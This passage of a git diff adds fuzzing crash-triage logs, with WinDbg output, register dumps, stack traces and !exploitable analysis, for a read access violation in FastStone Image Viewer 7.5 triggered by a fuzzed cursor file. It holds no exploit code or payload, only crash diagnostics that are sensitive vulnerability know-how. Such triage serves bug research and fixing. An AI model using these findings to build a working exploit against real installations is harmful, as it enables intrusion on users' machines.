C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(10a8.1d20): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07eb7b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.120000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.18121e-028 -4.78754e-010 -2.92603e+009 2.24786e+017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0030c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0030c000 54faa8f7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0030c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bb4ce22 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x10A8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x10A8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(10a8.1d20): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07eb7b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.120000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.18121e-028 -4.78754e-010 -2.92603e+009 2.24786e+017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0030c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0030c000 54faa8f7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0030c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fc47838 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cfa3e5d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9c9c2e4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred 